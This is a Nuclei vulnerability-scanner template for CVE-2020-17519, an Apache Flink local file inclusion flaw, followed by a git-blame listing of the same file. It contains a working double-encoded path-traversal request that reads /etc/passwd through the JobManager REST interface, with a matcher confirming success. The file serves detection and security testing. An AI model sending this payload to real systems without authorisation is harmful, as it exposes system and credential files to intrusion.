nuclei-templates/http/cves/2020/CVE-2020-17519.yaml

id: CVE-2020-17519

info:
  name: Apache Flink - Local File Inclusion
  author: pdteam
  severity: high
  description: Apache Flink 1.11.0 (and released in 1.11.1 and 1.11.2 as well) allows attackers to read any file on the local filesystem of the JobManager through the REST interface of the JobManager process (aka local file inclusion).
  remediation: |
    Apply the latest security patches or upgrade to a patched version of Apache Flink to mitigate the vulnerability.
  reference:
    - https://github.com/B1anda0/CVE-2020-17519
    - https://lists.apache.org/thread.html/r6843202556a6d0bce9607ebc02e303f68fc88e9038235598bde3b50d%40%3Cdev.flink.apache.org%3E
    - https://lists.apache.org/thread.html/r6843202556a6d0bce9607ebc02e303f68fc88e9038235598bde3b50d@%3Cdev.flink.apache.org%3E
    - https://lists.apache.org/thread.html/r6843202556a6d0bce9607ebc02e303f68fc88e9038235598bde3b50d@%3Cuser.flink.apache.org%3E
    - https://nvd.nist.gov/vuln/detail/CVE-2020-17519
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-17519
    cwe-id: CWE-552
    epss-score: 0.97141
    epss-percentile: 0.99802
    cpe: cpe:2.3:a:apache:flink:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: flink
  tags: cve,cve2020,apache,lfi,flink,kev

http:
  - method: GET
    path:
      - "{{BaseURL}}/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a004630440220179e8db378444ec8db5c5fcb3bd64d83ad0ceb26cc06374c7ec3c5bc751dc09f022054ac5e1bbb520228894098569dc41dd3c34633523699f6483e947254d925e389:922c64590222798bb761d5b6d8e72950
adding CVE-2020-17519 2021-01-06 07:08:41 +00:00			`id: CVE-2020-17519`

			`info:`
Dashboard Content Enhancements (#4819) Dashboard Content Enhancements 2022-07-26 13:45:11 +00:00			`name: Apache Flink - Local File Inclusion`
misc tag updates 2021-04-06 06:46:11 +00:00			`author: pdteam`
adding CVE-2020-17519 2021-01-06 07:08:41 +00:00			`severity: high`
Dashboard Content Enhancements (#4819) Dashboard Content Enhancements 2022-07-26 13:45:11 +00:00			`description: Apache Flink 1.11.0 (and released in 1.11.1 and 1.11.2 as well) allows attackers to read any file on the local filesystem of the JobManager through the REST interface of the JobManager process (aka local file inclusion).`
updated 2020 CVEs 2023-09-06 12:22:36 +00:00			`remediation: \|`
			`Apply the latest security patches or upgrade to a patched version of Apache Flink to mitigate the vulnerability.`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`reference:`
			`- https://github.com/B1anda0/CVE-2020-17519`
additional reference to cves templates (#4395) * additional reference to cves templates * Update CVE-2006-1681.yaml * Update CVE-2009-3318.yaml * Update CVE-2009-4223.yaml * Update CVE-2010-0942.yaml * Update CVE-2010-0944.yaml * Update CVE-2010-0972.yaml * Update CVE-2010-1304.yaml * Update CVE-2010-1308.yaml * Update CVE-2010-1313.yaml * Update CVE-2010-1461.yaml * Update CVE-2010-1470.yaml * Update CVE-2010-1471.yaml * Update CVE-2010-1472.yaml * Update CVE-2010-1474.yaml * removed duplicate references * misc fix Co-authored-by: Prince Chaddha <prince@projectdiscovery.io> Co-authored-by: Prince Chaddha <cyberbossprince@gmail.com> 2022-05-17 09:18:12 +00:00			`- https://lists.apache.org/thread.html/r6843202556a6d0bce9607ebc02e303f68fc88e9038235598bde3b50d%40%3Cdev.flink.apache.org%3E`
			`- https://lists.apache.org/thread.html/r6843202556a6d0bce9607ebc02e303f68fc88e9038235598bde3b50d@%3Cdev.flink.apache.org%3E`
			`- https://lists.apache.org/thread.html/r6843202556a6d0bce9607ebc02e303f68fc88e9038235598bde3b50d@%3Cuser.flink.apache.org%3E`
Dashboard Content Enhancements (#4819) Dashboard Content Enhancements 2022-07-26 13:45:11 +00:00			`- https://nvd.nist.gov/vuln/detail/CVE-2020-17519`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`classification:`
			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`cvss-score: 7.5`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`cve-id: CVE-2020-17519`
			`cwe-id: CWE-552`
product/queries updated 2024-05-31 19:23:20 +00:00			`epss-score: 0.97141`
			`epss-percentile: 0.99802`
updated 2020 CVEs 2023-09-06 12:22:36 +00:00			`cpe: cpe:2.3:a:apache:flink::::::::`
Added max request counter of each template 2023-04-28 08:11:21 +00:00			`metadata:`
			`max-request: 1`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`vendor: apache`
			`product: flink`
product/queries updated 2024-05-31 19:23:20 +00:00			`tags: cve,cve2020,apache,lfi,flink,kev`
adding CVE-2020-17519 2021-01-06 07:08:41 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
adding CVE-2020-17519 2021-01-06 07:08:41 +00:00			`- method: GET`
			`path:`
			`- "{{BaseURL}}/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd"`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00
adding CVE-2020-17519 2021-01-06 07:08:41 +00:00			`matchers-condition: and`
			`matchers:`
			`- type: regex`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`part: body`
adding CVE-2020-17519 2021-01-06 07:08:41 +00:00			`regex:`
matcher update to handle edge cases 2021-07-24 21:35:55 +00:00			`- "root:.*:0:0:"`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00
			`- type: status`
			`status:`
			`- 200`
Auto Template Signing [Sat Jun 1 06:52:59 UTC 2024] :robot: 2024-06-01 06:53:00 +00:00			`# digest: 490a004630440220179e8db378444ec8db5c5fcb3bd64d83ad0ceb26cc06374c7ec3c5bc751dc09f022054ac5e1bbb520228894098569dc41dd3c34633523699f6483e947254d925e389:922c64590222798bb761d5b6d8e72950`